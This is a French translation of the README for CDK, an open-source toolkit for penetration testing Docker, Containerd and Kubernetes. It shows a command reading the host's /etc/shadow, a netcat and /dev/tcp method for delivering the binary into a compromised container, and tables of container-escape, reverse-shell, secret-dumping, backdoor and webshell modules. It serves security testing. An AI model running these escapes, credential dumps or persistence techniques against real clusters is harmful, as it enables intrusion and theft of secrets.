
📦 Facilitez les tests de sécurité de K8s, Docker et Containerd.
Anglais | 简体中文

L'utilisation de CDK pour attaquer des cibles sans consentement mutuel préalable est illégale. CDK est destiné uniquement à des fins de tests de sécurité.
CDK est un toolkit de pénétration de conteneurs open-source, conçu pour offrir une exploitation stable dans différents conteneurs allégés sans aucune dépendance au système d'exploitation. Il est fourni avec des outils réseau utiles et de nombreux PoCs/EXPs puissants et vous aide à vous échapper du conteneur et à prendre le contrôle du cluster K8s facilement.
Exécutez cdk eva pour obtenir des informations d'évaluation et une exploit recommandée, puis exécutez cdk run pour lancer l'attaque.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Téléchargez la dernière version sur https://github.com/cdk-team/CDK/releases/
Déposez les fichiers exécutables dans le conteneur cible et commencez les tests.
Si vous avez une exploit qui peut téléverser un fichier, vous pouvez alors téléverser le binaire CDK directement.
Si vous avez une RCE exploit, mais que le conteneur cible n'a ni curl ni wget, vous pouvez utiliser la méthode suivante pour livrer CDK :
(sur votre hôte)
nc -lvp 999 < cdk
cat < /dev/tcp/(votre_ip_hote_publique)/(port) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Collecte des informations pour trouver des failles dans le conteneur.
cdk evaluate --full Active l'analyse des fichiers lors de la collecte d'informations.
Exploit:
cdk run --list Liste toutes les exploits disponibles.
cdk run <exploit> [<args>...] Exécute une exploit unique, documentation sur https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Modifie les fichiers dans le conteneur comme la commande "vi".
ps Affiche les informations sur les processus comme la commande "ps -ef".
nc [options] Crée un tunnel TCP.
ifconfig Affiche les informations réseau.
kcurl <path> (get|post) <uri> <data> Effectue une requête au K8s api-server.
ectl <endpoint> get <key> Énumération non autorisée des clés etcd.
ucurl (get|post) <socket> <uri> <data> Effectue une requête au socket Unix docker.
probe <ip> <port> <parallel> <timeout-ms> Scan de port TCP, exemple : cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Affiche ce message d'aide.
-v --version Affiche la version.
--profile=<name> Sélectionne le profil d'évaluation.
CDK dispose de trois modules :
Utilisation
cdk evaluate [--full]
Liste toutes les exploits disponibles :
cdk run --list
Exécute une exploit ciblée :
cdk run <nom-script> [options]
Note sur Thin : La version thin est préparée pour les shells de conteneurs à courte durée de vie, comme les fonctions serverless. Nous ajoutons des tags de build dans le code source et supprimons quelques exploits pour alléger le binaire. Le fichier de 2 Mo contient 90% des fonctions de CDK, vous pouvez également sélectionner des exploits utiles dans le code source de CDK pour construire votre propre binaire léger.
Exécution de commandes comme sous Linux, légèrement différente dans les arguments d'entrée, voir le lien d'utilisation.
cdk nc [options]
cdk ps
Si vous voulez savoir comment nous avons publié une nouvelle version, comment la version thin est produite, pourquoi nous fournissons des versions upx, quelles sont les différences entre les versions all, normal, thin, upx, et comment sélectionner des exploits et outils CDK spécifiques pour compiler votre propre version, veuillez consulter le Document de version.
Tout d'abord, merci de prendre le temps de contribuer !
Merci aux contributeurs suivants :
Plus de contributeurs : Liste des contributeurs
Les bugs sont suivis via GitHub Issues. Créez une issue avec la version actuelle de CDK, le message d'erreur et l'environnement. Décrivez les étapes exactes qui reproduisent le problème.
Les suggestions d'améliorations sont suivies via GitHub Discussions. Vous pouvez publier vos réflexions ici pour discuter directement avec les développeurs.
Correction de problèmes ou maintien de la qualité de CDK :
Nouvelle fonctionnalité ou exploits :

Le projet CDK fait maintenant partie du Projet Starlink 2.0 de l'équipe 404. Rejoignez la communauté StarLink pour entrer en contact avec l'équipe de développement de CDK.
| Tactiques | Script | Supporté | Utilisation/Exemple |
|---|
| Collecte d'informations | Infos de base OS | ✔ | lien |
| Collecte d'informations | Capacités disponibles | ✔ | lien |
| Collecte d'informations | Commandes Linux disponibles | ✔ | lien |
| Collecte d'informations | Points de montage | ✔ | lien |
| Collecte d'informations | Espace de noms réseau | ✔ | lien |
| Collecte d'informations | ENV sensibles | ✔ | lien |
| Collecte d'informations | Processus sensibles | ✔ | lien |
| Collecte d'informations | Fichiers locaux sensibles | ✔ | lien |
| Collecte d'informations | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | lien |
| Collecte d'informations | Découverte de services basée sur DNS | ✔ | lien |
| Découverte | Infos K8s Api-server | ✔ | lien |
| Découverte | Infos K8s Service-account | ✔ | lien |
| Découverte | API Metadata du fournisseur Cloud | ✔ | lien |
| Tactique | Technique | Nom de l'exploit CDK | Supporté | Dans Thin | Doc |
|---|
| Évasion | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| Évasion | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | lien | |
| Évasion | docker.sock PoC (attaque DIND) | docker-sock-check | ✔ | ✔ | lien |
| Évasion | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | lien |
| Évasion | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | lien |
| Évasion | Évasion par montage de périphérique | mount-disk | ✔ | ✔ | lien |
| Évasion | Évasion LXCFS | lxcfs-rw | ✔ | ✔ | lien |
| Évasion | Évasion Cgroups | mount-cgroup | ✔ | ✔ | lien |
| Évasion | Abus de l'espace utilisateur non privilégié Évasion CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | lien |
| Évasion | Évasion Procfs | mount-procfs | ✔ | ✔ | lien |
| Évasion | Évasion Ptrace PoC | check-ptrace | ✔ | ✔ | lien |
| Évasion | Réécriture Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | lien |
| Évasion | Lecture de fichiers arbitraires du système hôte (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | lien |
| Découverte | Sondage des composants K8s | service-probe | ✔ | ✔ | lien |
| Découverte | Récupération des métadonnées Istio Sidecar | istio-check | ✔ | ✔ | lien |
| Découverte | Récupération des politiques de sécurité des pods K8s | k8s-psp-dump | ✔ | lien | |
| Contrôle à distance | Reverse Shell | reverse-shell | ✔ | ✔ | lien |
| Contrôle à distance | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| Accès aux identifiants | BruteForce de registre | registry-brute | ✔ | ✔ | lien |
| Accès aux identifiants | Analyse de clés d'accès | ak-leakage | ✔ | ✔ | lien |
| Accès aux identifiants | Etcd Obtenir le jeton K8s | etcd-get-k8s-token | ✔ | ✔ | |
| Accès aux identifiants | Récupération des secrets K8s | k8s-secret-dump | ✔ | ✔ | lien |
| Accès aux identifiants | Récupération de la configuration K8s | k8s-configmap-dump | ✔ | ✔ | lien |
| Élévation de privilèges | Contournement RBAC K8s | k8s-get-sa-token | ✔ | ✔ | lien |
| Élévation de privilèges | CVE-2026-31431 copy-fail (non-root→root & x86_64 uniquement) | copy-fail-cve-2026-31431 | ✔ | lien | |
| Persistance | Déploiement WebShell | webshell-deploy | ✔ | ✔ | lien |
| Persistance | Déploiement d'un pod porte dérobée | k8s-backdoor-daemonset | ✔ | ✔ | lien |
| Persistance | Déploiement d'un K8s api-server fantôme | k8s-shadow-apiserver | ✔ | lien | |
| Persistance | Attaque K8s MITM (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | lien |
| Persistance | Déploiement K8s CronJob | k8s-cronjob | ✔ | ✔ | lien |
| Commande | Description | Supporté | Utilisation/Exemple |
|---|
| nc | Tunnel TCP | ✔ | lien |
| ps | Informations sur les processus | ✔ | lien |
| netstat | Comme la commande "netstat -antup" | ✔ | |
| ifconfig | Informations réseau | ✔ | lien |
| vi | Modifier des fichiers | ✔ | lien |
| ectl | Énumération non autorisée des clés etcd | ✔ | |
| kcurl | Requête au K8s api-server | ✔ | lien |
| dcurl | Requête à l'API HTTP Docker | ✔ | lien |
| ucurl | Requête au socket Unix Docker | ✔ | lien |
| rcurl | Requête à l'API du registre Docker | ||
| probe | Scan IP/Port | ✔ | lien |